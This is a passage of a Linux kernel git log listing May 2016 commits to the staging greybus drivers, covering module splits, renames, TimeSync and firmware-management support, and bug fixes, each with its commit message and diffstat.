greybus: arche-platform: Rename assert_wakedetect=>arche_platform_wd_irq_en Now, since AP module does not send any signal to SVC, so it automatically restricts the wake/detect gpio to input. So rename assert_wakedetect() fn to arche_platform_wd_irq_en(), as per implementation. Testing Done: Tested on EVT1.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 16fd976c392bf2e9b88531e842d8d255bccddc98 Author: Vaibhav Hiremath Date: Tue May 17 22:39:46 2016 +0530 greybus: arche-platform: Do not assert wake/detect signal to SVC With new definition of AP module boot flow (from HotPlug camp), AP is not supposed to send any wake/detect signal to SVC, instead, during boot SVC would straight away send wake_out pulse on wake/detect line. Note that, pin configuration of wake/detect line would be set to active-high by default, so wake/detect line would always stay high, unless SVC drives it. AP module uses wake/detect line strictly in input mode. Testing Done: Tested on EVT1.5 platform. Note: We are yet to decide on PM support for APBx, so we may need to generate/handshake with SVC over wake/detect line in the future. As of now, follow the implementation and add stuff as and when they come. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit e54b106dd1be50377fe8365392466e080b659ab6 Author: Sandeep Patil Date: Thu May 19 08:52:39 2016 -0700 greybus: gpbridge: rename 'gpbridge' to 'gbphy' everywhere The 'gpbridge' name didn't relaly reflect what the bus is; which is a bus for bridged-phy devices. So, rename all instances of 'gpbridge' to more appropriate 'gbphy' Testing Done: Build and boot tested. 'lsgb' will stop displaying 'GPBridge' devices until I change the library to reflect this change. Signed-off-by: Sandeep Patil Suggested-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +- drivers/staging/greybus/gbphy.c | 330 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/gbphy.h | 71 ++++++++ drivers/staging/greybus/gpbridge.c | 330 ------------------------------------ drivers/staging/greybus/gpbridge.h | 71 -------- drivers/staging/greybus/gpio.c | 54 +++--- drivers/staging/greybus/i2c.c | 38 ++--- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/loopback.c | 26 +-- drivers/staging/greybus/pwm.c | 32 ++-- drivers/staging/greybus/sdio.c | 36 ++-- drivers/staging/greybus/spi.c | 30 ++-- drivers/staging/greybus/uart.c | 48 +++--- drivers/staging/greybus/usb.c | 38 ++--- 14 files changed, 555 insertions(+), 555 deletions(-) commit e16715c135d80aafea867849f938b080d4f4eadb Author: Jeffrey Carlyle Date: Wed May 18 18:55:13 2016 -0700 greybus: interface: retry enumeration of UniPro-only modules Greybus modules will sometimes fail to send the mailbox poke and erroneously be enumerated as UniPro-only modules. The root cause for this on the module side is not fully understand, but it seems that this may be due to "the bootrom bug:" a known problem with the bootrom where linkup will occasionally fail because of a race condition. Before the new hotplug code was implemented in the firmware, the SVC would retry enumeration of modules that did not send the mailbox poke; this patch ports that functionality to the AP. Signed-off-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 3 ++- drivers/staging/greybus/module.c | 21 ++++++++++++++++++++- 2 files changed, 22 insertions(+), 2 deletions(-) commit 9bc63b7ff56f7a1cad5dbf062d1d5dd7a81d7d93 Author: Axel Haslam Date: Mon May 16 17:39:32 2016 +0200 greybus: uart fix missing negation on DTR setting The unset the DTR flag is missing "~" Signed-off-by: Axel Haslam Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 814ae531d161d789496503969657ea9550e286b5 Author: Alex Elder Date: Tue May 17 09:13:16 2016 -0500 greybus: connection: verify disabled when destroyed A connection must be in DISABLED state before it gets destroyed. Warn if this is ever not the case (and do the disconnect) before proceeding with connection destruction. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 +++ 1 file changed, 3 insertions(+) commit ac00154a7c6a8f3b2a98c1cf3cef893af2b0abac Author: Vaibhav Agarwal Date: Tue May 17 22:29:08 2016 +0530 greybus: audio: gb_manager: Use valid argument while removing ida allocated id. module->id is used as an argument to ida_simple_remove(). Since module is already dereferenced, module->id might contain invalid data. So fix this. Fixes: da4cc2d0b066 ("audio:gb_manager: Use proper locking around kobject_xxx") Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_manager.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ef62adae82524c745640850f62ab0dfe0b580c9f Author: Johan Hovold Date: Wed May 18 15:47:48 2016 +0200 greybus: operation: fix broken activation logic An operation should only be added to the connection active list if the connection is in the enabled state, or if it is in the enabled_tx state and the operation is not incoming. This fixes a race where an early or late incoming request could be added to the active list while the connection is being enabled or disabled, something which could lead to use-after-free issues or worse. Note that the early connection-state checks in the receive path limited the impact of this bug. Fixes: e903a2ce7379 ("connection: add unidirectional enabled state") Reported-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b0e97bce153a416c4de4841078fba57b69de10f5 Author: Eli Sennesh Date: Fri May 13 13:27:40 2016 -0400 greybus: operation: rate-limit dev_err printing on the receive path When we receive Greybus operations we don't recognize, requests or responses, en masse, we can pile up a lot of dev_err() printk messages. Doing so along the gb_connection_recv() code path can delay receive processing by up to seven milliseconds, starving the system of bulk-IN urbs. Rate limit those printk messages, ensuring that after too many repeated errors at the same place in the code-path, we'll stop printing to the console at all and let the urbs get returned. This will help prevent denial-of-service attacks on the AP through the UniPro network from malicious or malfunctioning modules. Testing Done: 7 msec recv-to-resubmit-urb processing times go down to <20 usecs Signed-off-by: Eli Sennesh Reviewed-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Reviewed-by: Mitchell Tasman Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit 3a238fc7844f93c799283d8b822178af9638ff0c Author: Rui Miguel Silva Date: Mon May 16 10:33:21 2016 +0100 greybus: spi: add inprogress bit to xfer_flags When a SPI transfer needs to be split by more than one greybus spi transfer operation, we need to indicate it so the controller can handle the chip select lines correctly. Add a new bit to indicate it, GB_SPI_XFER_INPROGRESS, and create an helper function to calculate when the transfer is done. As we need this information also in other places. Signed-off-by: Rui Miguel Silva Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/spilib.c | 16 ++++++++++++++-- 2 files changed, 15 insertions(+), 2 deletions(-) commit 22e26a3a13503f3c35ed8bbb6a7e9e33ad2c6987 Author: Rui Miguel Silva Date: Mon May 16 10:33:20 2016 +0100 greybus: spi: rename rdwr field to xfer_flags As more bits will be added to the field, let's make the field more generic and name it accordingly. So, rename it from rdwr to xfer_flags. Signed-off-by: Rui Miguel Silva Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- drivers/staging/greybus/spilib.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 3b077247b6499aa5bf2183968be8cb6ad675171c Author: Viresh Kumar Date: Mon May 16 20:54:53 2016 +0530 greybus: fw-management: Update header's license The header should include both BSD and GPLv2 licenses and so should have been a copy of greybus_protocols.h. This file had only the GPLv2 bits earlier, update it to include BSD bits as well. Reported-by: Greg Kroah-Hartman Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_firmware.h | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) commit 79b140fe2b6f2db8c4a4a45bde6065fc34b24e77 Author: Viresh Kumar Date: Mon May 16 07:49:43 2016 +0530 greybus: fw-management: Fix 'make check' warnings Fix below warnings observed with 'make check'. ~/ara/greybus/fw-management.c:438:33: warning: incorrect type in assignment (different base types) ~/ara/greybus/fw-management.c:438:33: expected unsigned short [unsigned] [addressable] [assigned] [usertype] major ~/ara/greybus/fw-management.c:438:33: got restricted __le16 [usertype] ~/ara/greybus/fw-management.c:439:33: warning: incorrect type in assignment (different base types) ~/ara/greybus/fw-management.c:439:33: expected unsigned short [unsigned] [addressable] [assigned] [usertype] minor ~/ara/greybus/fw-management.c:439:33: got restricted __le16 [usertype] Reported-by: Greg Kroah-Hartman Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e27f1da93f00f33db2559be69ea5efc9c2f28de4 Author: Viresh Kumar Date: Mon May 16 07:49:45 2016 +0530 greybus: fw-management: Replace double-tabs with space for structures Reformat structures to use a single space instead of multiple tabs. Reported-by: Greg Kroah-Hartman Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_firmware.h | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 5319a889eafc5c8c13ef51e38fed224c4c3b33f2 Author: Bryan O'Donoghue Date: Sun May 15 23:34:51 2016 +0100 greybus: es2.c: Declare local __le64 not u64 The value passed to le64_to_cpu wants to be an __le64 not a u64. Note to self - remember to run "make check" Signed-off-by: Bryan O'Donoghue Reported-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8c81d4608dc54225005129e32cf5d2035176df5e Author: Bryan O'Donoghue Date: Sun May 15 19:37:49 2016 +0100 greybus: interface: Extract and store Interface feature byte The Interface description in the Greybus specification contains a 'features' field which is currently not implemented on the AP side. The Interface features field provides information on optional attributes of an Interface as a bitmask. Currently only GREYBUS_INTERFACE_FEATURE_TIMESYNC is implemented in the specification but, the expectation is that other feature flags will be added over time. This patch adds support to extract the feature byte communicated in the features field of the Interface Descriptor header and extends struct interface to contain a features field through which any user with a pointer to struct interface may interrogate the features of an Interface. This is a necessary pre-cursor for TimeSync to ensure only Interfaces which declare GREYBUS_INTERFACE_FEATURE_TIMESYNC will be included when we go through the process of FrameTime synchronization. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 7 ++++++- drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/manifest.c | 3 +++ 3 files changed, 10 insertions(+), 1 deletion(-) commit c8a657ba3f84643d7ef4b13ff6828e141172419a Author: Bryan O'Donoghue Date: Sun May 15 19:37:48 2016 +0100 greybus: hd: Add TimeSync APBridge commands This patch adds a number of USB Vendor commands to es2.c to enable TimeSync in the bridge. Adds: - es2.c::timesync_enable(u8 count, u64 frame_time, u32 strobe_delay, u32 refclk); Commands APBx to enable timers and clocks to track a pulse-train of incoming TIME_SYNC strobes with strobe_delay microseconds between each. Provides the reference clock the AP is using to track FrameTime. It is the responsibility of APBx to adequately track the FrameTime based on the indicated AP refclk. Once this command has succeeded APBx may not transition to a low-power state were FrameTime counters stop. This function is initiated from the timesync worker thread logic when re-synchronizing frame-time throughout the system. TimeSync is at this time enabled for all APBx active in the system i.e. currently APB2 will not receive TimeSync commands until it becomes a registered host-device in Greybus. - es2.c::timesync_disable(void) Commands APBx to discontinue tracking of FrameTime. After this operation completes APBx may transition to a low-power state where timer-clocks stop operating. - es2.c::timesync_authoritative(u64 *frame_time) Provides an authoritative time for each TIME_SYNC strobe to APBx. APBx must align its local FrameTime to the authoritative clock. - es2.c::timesync_get_last_event(u64 *frame_time) Returns the FrameTime at the last SVC_TIMESYNC_PING to the AP Module. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 153 ++++++++++++++++++++++++++-- drivers/staging/greybus/greybus_protocols.h | 26 +++-- drivers/staging/greybus/hd.h | 7 ++ 3 files changed, 165 insertions(+), 21 deletions(-) commit 7bf7fa12fcb24fccb99d7957e44b8be6e0b82986 Author: Viresh Kumar Date: Sat May 14 23:42:25 2016 +0530 greybus: Documentation: Document firmware-management interfaces This patch adds a new 'firmware' folder in Documentation, which contains two files: - firmware-management: This describes the userspace interface for interacting with firmware-management bundle. - firmware.c: Sample application to test firmware load for Interface Firmware and firmware updates to Backend Interface Firmware. Signed-off-by: Viresh Kumar Reviewed-by: Jun Li Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman .../Documentation/firmware/firmware-management | 190 +++++++++++++++++++++ .../greybus/Documentation/firmware/firmware.c | 146 ++++++++++++++++ 2 files changed, 336 insertions(+) commit e2386c9327ab30288f995fc23fb97a3f21b08787 Author: Viresh Kumar Date: Sat May 14 23:42:24 2016 +0530 greybus: firmware: Add SPI protocol support This patch adds SPI Protocol support to firmware core, which allows the AP to access an SPI flash memory present with an Interface. Tested by using the API from fw-management driver and compiling it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-core.c | 63 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) commit 96ba6740099b1f1a2732c86204d2931cda11d638 Author: Viresh Kumar Date: Sat May 14 23:42:23 2016 +0530 greybus: fw-management: Free fw-mgmt only after all users are gone The fw-management driver rightly destroys the char device on connection-exit, but that doesn't guarantee that all of the users of the device are gone. Userspace may still be holding file-descriptor of the char device and can initiate new ioctl operations. And that *will* lead to kernel crash. To avoid this issue, manage struct users with kref, manage a list of 'struct fw-mgmt' and start using the structure only after getting its kref incremented. The important part is the routine get_fw_mgmt(), which increments the reference to the struct before returning it to the caller. The list of fw-mgmt structs in protected with a mutex to avoid any races around that. The kref is incremented once the char device is opened and dropped only when it is closed. Reported-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 118 ++++++++++++++++++++++++++++---- 1 file changed, 105 insertions(+), 13 deletions(-) commit 04f0e6ebd1a2ca3a1f1a356e9a07ef1797ef1b7c Author: Viresh Kumar Date: Sat May 14 23:42:22 2016 +0530 greybus: fw-management: Add ioctl to initiate mode-switch Once the interface firmware is loaded successfully to a module, userspace can ask it to mode switch to the newly loaded firmware. This patch provides a new ioctl to initiate mode switch. Userspace can initiate a mode switch if it has previously loaded the interface firmware successfully, otherwise the firmware core rejects it. Also, once the mode-switch is initiated, disallow any more interactions from the userspace. Signed-off-by: Viresh Kumar Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 20 ++++++++++++++++++++ drivers/staging/greybus/greybus_firmware.h | 1 + 2 files changed, 21 insertions(+) commit 013e665372733fafd08599f0fc58ff5f450e4694 Author: Viresh Kumar Date: Sat May 14 23:42:21 2016 +0530 greybus: fw-management: Add firmware-management protocol driver This patch adds Firmware Management Protocol support to firmware core, which allows the AP to manage firmware on an Interface. Signed-off-by: Viresh Kumar Reviewed-by: Jun Li Tested-by: Karthik Ravi Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/firmware.h | 8 + drivers/staging/greybus/fw-core.c | 42 ++- drivers/staging/greybus/fw-management.c | 564 ++++++++++++++++++++++++++++ drivers/staging/greybus/greybus_firmware.h | 84 +++++ drivers/staging/greybus/greybus_protocols.h | 73 ++++ 6 files changed, 768 insertions(+), 5 deletions(-) commit 8502eb3b7870c6a0c53f39caaf5b4c01a22f2a25 Author: Greg Kroah-Hartman Date: Sat May 14 19:22:24 2016 +0200 greybus: make greybus_gpbdev_type static 'make check' correctly complains that this should be static, so make it so. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8888b963743be7aad2a98bc165fb51150db5fd9f Author: Viresh Kumar Date: Sat May 14 23:42:20 2016 +0530 greybus: spi: Separate out spilib from spi bridged PHY bundle driver spilib can be used by multiple bridge drivers implementing different bundle classes. Separate out bridged PHY bundle drivers parts. Signed-off-by: Viresh Kumar Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 ++ drivers/staging/greybus/spi.c | 75 ++++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/spilib.c | 60 -------------------------------- 3 files changed, 77 insertions(+), 60 deletions(-) commit 4c412921c78732f8f803a5906c97746ede5cf77c Author: Viresh Kumar Date: Sat May 14 23:42:19 2016 +0530 greybus: spi: Restructure spi.c to share it with other bundle drivers This patch restructures spi.c as spilib core, so that the same logic can be reused for SPI connections implemented as part of different bundle types. This is required for Firmware Management Bundle. Note that the 'struct gb_protocol' and its callback aren't moved to a separate file in this commit to make its reviews easier. That will be done by a following patch. Signed-off-by: Viresh Kumar Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +- drivers/staging/greybus/spi.c | 563 ------------------------------------- drivers/staging/greybus/spilib.c | 583 +++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/spilib.h | 18 ++ 4 files changed, 603 insertions(+), 565 deletions(-) commit dc0754088e53e42fee1f880bc0c2002f624fe26f Author: Viresh Kumar Date: Tue May 10 08:50:13 2016 +0530 greybus: Remove bridge PHY protocol specific classes These protocols are managed under the bridged PHY class and doesn't need protocol specific classes anymore. Remove their entries from gb_gpbridge_id_table array and remove the now unused macro's and mark their values as unused. Tested on EVT 1.5 with generic-test module. Signed-off-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/greybus_manifest.h | 14 +++++++------- 2 files changed, 7 insertions(+), 14 deletions(-) commit b9662266aa2694936836bace57a90f908a0b7e24 Author: Viresh Kumar Date: Mon May 9 18:15:14 2016 +0530 greybus: gpbridge: Remove (now) unused macro gb_gpbridge_builtin_driver() gb_gpbridge_builtin_driver() isn't used anymore, remove it. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 10 ---------- 1 file changed, 10 deletions(-) commit a4b9a098f27a653884d259ad4ca3500d4ad3107f Author: Viresh Kumar Date: Mon May 9 18:15:13 2016 +0530 greybus: gpbridge: Rename gb-phy.ko module Rename gb-phy.ko module as gb-gpbridge.ko. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ea7c47771ba13e143b3c328af8e03a1c45045cf0 Author: Viresh Kumar Date: Mon May 9 18:15:12 2016 +0530 greybus: usb: Create separate module Create separate module for usb gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 5 +++-- drivers/staging/greybus/gpbridge.c | 9 --------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/usb.c | 5 ++++- 4 files changed, 7 insertions(+), 15 deletions(-) commit 66b9e09e28b0c32d9b071fc9084bbb8880b88d74 Author: Viresh Kumar Date: Mon May 9 18:15:11 2016 +0530 greybus: uart: Create separate module Create separate module for uart gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/uart.c | 9 +++++++-- 4 files changed, 9 insertions(+), 13 deletions(-) commit bebc013bafed3cc42eada99da0a924e46b0cd0c3 Author: Viresh Kumar Date: Mon May 9 18:15:10 2016 +0530 greybus: spi: Create separate module Create separate module for spi gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/spi.c | 5 ++++- 4 files changed, 6 insertions(+), 12 deletions(-) commit 3d64730e119480062ffd2d94c49532fbf3dbb217 Author: Viresh Kumar Date: Mon May 9 18:15:09 2016 +0530 greybus: sdio: Create separate module Create separate module for sdio gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/sdio.c | 5 ++++- 4 files changed, 6 insertions(+), 12 deletions(-) commit dca8060db87bd851d77a64ef70b822ce3a82b3b5 Author: Viresh Kumar Date: Mon May 9 18:15:08 2016 +0530 greybus: pwm: Create separate module Create separate module for pwm gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/pwm.c | 5 ++++- 4 files changed, 6 insertions(+), 12 deletions(-) commit d6046b44a5663865a316f9d73a44d64c99aa9fb2 Author: Viresh Kumar Date: Mon May 9 18:15:07 2016 +0530 greybus: i2c : Create separate module Create separate module for i2c gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/i2c.c | 5 ++++- 4 files changed, 6 insertions(+), 12 deletions(-) commit 7c0925eb57785190be3d9f3d173fefb3d791cba0 Author: Viresh Kumar Date: Mon May 9 18:15:06 2016 +0530 greybus: gpio: Create separate module Create separate module for gpio gpbridge driver. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 ++- drivers/staging/greybus/gpbridge.c | 7 ------- drivers/staging/greybus/gpbridge.h | 3 --- drivers/staging/greybus/gpio.c | 5 ++++- 4 files changed, 6 insertions(+), 12 deletions(-) commit 9b919bdfcc6e9f8b3ea9f813b1604089ea769cfc Author: Viresh Kumar Date: Mon May 9 18:15:05 2016 +0530 greybus: gpbridge: Create module_gpbridge_driver() Create module_gpbridge_driver() for registering gpbridge module drivers. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 90fa0e6c3ea768a649e50f810b83814b0d15ee92 Author: Viresh Kumar Date: Mon May 9 18:15:04 2016 +0530 greybus: gpbridge: Export few routines In order to separate protocol specific drivers into their own modules, some of the gpbridge routines need to be exported. Tested on EVT 1.5 by inserting GP test module, all the devices were enumerated correctly. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 3 +++ 1 file changed, 3 insertions(+) commit 123e7497237a43068d88d49efaca6fff1f5e29e3 Author: Bryan O'Donoghue Date: Thu May 12 12:43:52 2016 +0100 greybus: control: Drop unused parameter from timesync_authoritative The count field is redundant and unused. Drop it from the control timesync_authoritative command. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 2 +- drivers/staging/greybus/control.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit fa433b619655bf2d253094074d132004a9fa479c Author: Bryan O'Donoghue Date: Thu May 12 12:43:51 2016 +0100 greybus: control: Add TimeSync get-last-event logic gb_control_timesync_get_last_event() sends a request asking for the FrameTime at the last SVC strobe event. The responding entity returns the FrameTime in the response phase of the request. Performing this operation to an Interface after previously: 1. Synchronizing time using timesync-enable/timesync-authoritative 2. Sending an SVC_TIMESYNC_PING will return the FrameTime of the responding entity at the SVC-ping. If this command is sent before synchronization has been initiated or successfully completed the responding entity should return an error code. - control.c::gb_control_timesync_get_last_event(u64 *frame_time) Returns the FrameTime at the last SVC_TIMESYNC_PING to the AP Module. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 14 ++++++++++++++ drivers/staging/greybus/control.h | 2 ++ drivers/staging/greybus/greybus_protocols.h | 6 ++++++ 3 files changed, 22 insertions(+) commit 5705020fbe2a274a1a49709e688b4cc471425036 Author: Bryan O'Donoghue Date: Thu May 12 12:43:50 2016 +0100 greybus: svc: Add TimeSync SVC commands Simple addition of the TimeSync commands defined in the specification. Adds: - svc.c::timesync_enable(u8 count, u64 frame_time, u32 strobe_delay, u32 refclk) Commands the SVC to initiate count TimeSync strobe pulses with strobe_delay microseconds delay between each strobe to the specified bit-mask of Interface IDs indicated in a previous timesync_wake_pins_acquire command. The frame_time parameter indicates the initial time the SVC should base the first strobe from. The refclk parameter indicates the APs clock rate, the SVC should ensure its own clock ticks at this rate. Once enabled the SVC may not enter a low-power mode which will result in the reference timer used to track time switching off. The SVC will capture the authoritative FrameTime at each strobe and store these values for later propagation to the AP with the timesync_authoritative request. - svc.c::timesync_disable(void) Commands the SVC to immediately halt TimeSync logic. This will allow the SVC to transition into low-power modes where the reference timer being used for TimeSync may switch off. - svc.c::timesync_authoritative(u64 *frame_time) Used by the AP Module to ask the SVC for the authoritative FrameTime as captured at each TimeSync strobe. - svc.c::timesync_ping(u64 *frame_time) Used by the AP Module to command the SVC to initiate a single strobe on a specified bit-mask of Interface IDs communicated in a previous timesync_wake_pins_acquire command. SVC will latch the FrameTime on the rising edge of the outbound pulse and will return the FrameTime to the AP Module in the response phase of the greybus transaction. - svc::timesync_wake_pins_acquire(u32 strobe_mask) Used by the AP to tell the SVC to set a bit-mask of wake lines associated with a bit-mask of Interface IDs to a known initial state prior to the SVC generating a TimeSync related pulse such as timesync-enable or timesync-ping. - svc::timesync_wake_pins_release(void) Used by the AP to tell the SVC to release all wake-detect lines in the timesync active state as previously specified in the timesync_wake_pins_acquire operation. Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 85 +++++++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 7 ++++ 2 files changed, 92 insertions(+) commit a974f469ff097f8f6e242f3ef5b26ba3604fbaf2 Author: Sandeep Patil Date: Fri May 13 12:00:56 2016 -0700 greybus: arche-platform: Fix the MODULE_LICENSE to match with header The header calls out the license to be GPL v2, while the module declares itself as "GPL" Testing Done: Trivial Signed-off-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6458492e9c019bd15c9a543171df1cbe27122543 Author: Sandeep Patil Date: Fri May 13 11:51:05 2016 -0700 greybus: gpbridge: add uevent vars for gpbridge devices The uevent vars now include module, interface, greybus_id, bundle id, class and gpbridge device specific properties. This make it consistent with how we are reporting uevents for all other greybus devices. Testing Done: Tested by reading uevent from gpbridge devices that enumerate using gpb module Signed-off-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) commit c7092b22fc7d0debae114fe37cf3b967997e1cdb Author: Sandeep Patil Date: Fri May 13 11:51:04 2016 -0700 greybus: gpbridge: make gpbridge device ids start with 1 Making gpb device ids consistent with all other devices on greybus Testing Done: Tested using gpb module to make sure the first gpbX/ device starts with 1. Signed-off-by: Sandeep Patil Reviewed-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 14a5f47b29bf4c92ba4233cdd89ea5ce67acac0f Author: Sandeep Patil Date: Fri May 13 11:51:03 2016 -0700 greybus: gpbridge: add gpbridge device type Right now, there is no way to know the device type of gpbridge (bridged-phy) devices in userspace. So, add that. Testing Done: Tested by reading the 'uevent' for gpb device of gpbridge module Signed-off-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 3ba9fa5c9220e5a6dbbe0b88fc40f857f299b040 Author: Johan Hovold Date: Wed May 11 10:18:06 2016 +0200 greybus: camera: fix data-connection handling Now that core supports offloaded connections, we can remove the hack that was used to setup the data connection. Note that offloaded-resource management may need to be refined later, but the current minimal implementation is enough to allow core to manage the connections (e.g. needed for proper connection tear down and power management). This will also allow the camera driver to be converted to a bundle driver. Signed-off-by: Johan Hovold Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 34 